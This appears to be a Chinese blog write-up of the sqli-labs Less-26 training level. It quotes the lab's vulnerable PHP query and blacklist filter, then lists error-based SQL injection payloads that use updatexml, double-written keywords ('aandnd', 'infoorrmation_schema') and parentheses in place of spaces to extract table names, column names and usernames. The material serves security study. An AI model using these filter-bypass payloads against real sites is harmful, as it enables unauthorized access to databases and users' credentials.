sqli-labs:Less-26关卡详细解析

1. 思路🚀

本关的SQL语句为:

sql 复制代码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
  • 注入类型:字符串型(单引号包裹)、GET操作
  • 提示:参数需以'闭合
  • 关键参数:id

php输出语句的部分代码:

php 复制代码
if($row)
{
  	echo "<font size='5' color= '#99FF00'>";	
  	echo 'Your Login name:'. $row['username'];
  	echo "<br>";
  	echo 'Your Password:' .$row['password'];
  	echo "</font>";
 }
else 
{
	echo '<font color= "#FFFF00">';
	print_r(mysql_error());
	echo "</font>";  
}

本关卡对许多字符都进行过滤,尤其是空格。我们需要对字符进行替换,同时采用报错盲注(空格相对少),替换规则如下。

  • oroorr
  • andaandnd
  • 空格()包裹
php 复制代码
function blacklist($id)
{
   $id= preg_replace('/or/i',"", $id);		 //strip out OR (non case sensitive)
   $id= preg_replace('/and/i',"", $id); 	 //Strip out AND (non case sensitive)
   $id= preg_replace('/[\/\*]/',"", $id);	 //strip out /*
   $id= preg_replace('/[--]/',"", $id);		 //Strip out --
   $id= preg_replace('/[#]/',"", $id);		 //Strip out #
   $id= preg_replace('/[\s]/',"", $id);		 //Strip out spaces
   $id= preg_replace('/[\/\\\\]/',"", $id);	 //Strip out slashes
   return $id;
}

2. 手工注入步骤🎯

我的地址栏是:http://localhost:8081/Less-26/,从?id=开始,只需要将下面的sql语句粘贴即可。我把正常的注入语句和变体的注入语句一并放在下面,方便对比。

2.1. 获取基本信息⚡

注意and,需要修改为aandnd

url 复制代码
1' and updatexml(1,concat(1,database()),3) and '1
url 复制代码
1'aandnd(updatexml(1,concat(1,database()),3))aandnd'1

2.2. 获取表名⚡

注意and,需要修改为aandnd,注意information_schema中的or,需要修改为infoorrmation_schema

url 复制代码
1' and updatexml(1,concat(1,select group_concat(table_name) from information_schema.tables where table_schema = 'security'),3) and' 1
url 复制代码
1'aandnd(updatexml(1,concat(1,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)= 'security')),3))aandnd'1

2.3. 获取字段⚡

注意and,需要修改为aandnd,注意information_schema中的or,需要修改为infoorrmation_schema

url 复制代码
1' and updatexml(1,concat(1,select group_concat(column_name) from information_schema.columns where table_schema = 'security'and table_name='users'),3) and '1
url 复制代码
1'aandnd(updatexml(1,concat(1,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema)= 'security'aandnd(table_name)='users')),3))aandnd'1

2.4. 获取数据⚡

注意and,需要修改为aandnd,由于updatexml有字符长度限制,所以对username进行了分批

同理获取possword,注意password中的or,需要修改为passwoord

url 复制代码
1' and updatexml(1,concat(1,select substring(group_concat(username),1,30) from users),3) and' 1
url 复制代码
1'aandnd(updatexml(1,concat(1,(select(substring(group_concat(username),1,30))from(users))),3))aandnd'1
url 复制代码
# 下一批
1'aandnd(updatexml(1,concat(1,(select(substring(group_concat(username),31,30))from(users))),3))aandnd'1

2.5. 参数汇总表⭐

参数 作用 示例
' 闭合符号 id=1'
updatexml() 报错注入函数 updatexml(1,(select database()),3)
concat() 字符串拼接函数 concat('a','b')concat(1,(select database()))
group_concat() 合并结果 group_concat(table_name)
information_schema 系统数据库 from information_schema.tables
table_schema 数据库名称 table_schema='security'
table_name 数据表名称 table_name='users'
column_name 字段名称 group_concat(column_name)

3. 总结🏁

本关卡代码对许多字符进行过滤来防止SQL注入,但攻击者仍可通过双写(如oorraandnd)、逻辑运算符替代或URL编码的方式等方式轻松绕过。

相似关卡1,见"sqli-labs:Less-25关卡详细解析"
https://blog.csdn.net/qq_62000508/article/details/149886766?spm=1011.2415.3001.5331

相似关卡2,见"sqli-labs:Less-25a关卡详细解析"
https://blog.csdn.net/qq_62000508/article/details/149887154?spm=1011.2415.3001.5331


声明:本文仅用于安全学习,严禁非法测试! ❗❗❗

相关推荐
其实防守也摸鱼1 天前
《SQL注入进阶实验:基于sqli-Labs的报错注入(Error-Based Injection)实战解析》
网络·数据库·sql·安全·网络安全·sql注入·报错注入
锐速网络2 天前
渗透测试中如何验证漏洞真实存在
web安全·网络安全·渗透测试·漏洞复现·sql注入·文件上传漏洞·漏洞验证
味悲3 天前
SQL预编译学习笔记
安全·sql注入
PyHaVolask14 天前
Joomla 3.7.0 渗透测试全流程复现:从信息收集到本地提权
渗透测试·漏洞复现·sql注入·内核漏洞·joomla·本地提权
悟道子HD18 天前
SRC漏洞挖掘——2.SQL注入漏洞实战详解
sql·web安全·网络安全·渗透测试·sql注入·sqlmap·暴力破解
PyHaVolask1 个月前
SQL 注入实战:时间盲注原理与 Python 脚本详解
渗透测试·sql注入·python脚本·数据库安全·时间盲注
PyHaVolask1 个月前
SQL 注入实战:布尔盲注完整流程与 Python 脚本详解
web安全·渗透测试·sql注入·python脚本·布尔盲注
PyHaVolask1 个月前
SQL 注入实战:布尔盲注原理与自动化脚本解析
sql注入·二分查找算法·自动化脚本·布尔盲注·sqli-labs靶场
xcLeigh1 个月前
SQL 注入防不住?金仓内核级防火墙,白名单防护零误报
数据库·数据安全·sql注入·kingbasees·金仓数据库·数据补丁
努力的lpp2 个月前
SQLMap CTF 常用命令全集
数据库·web安全·网络安全·sql注入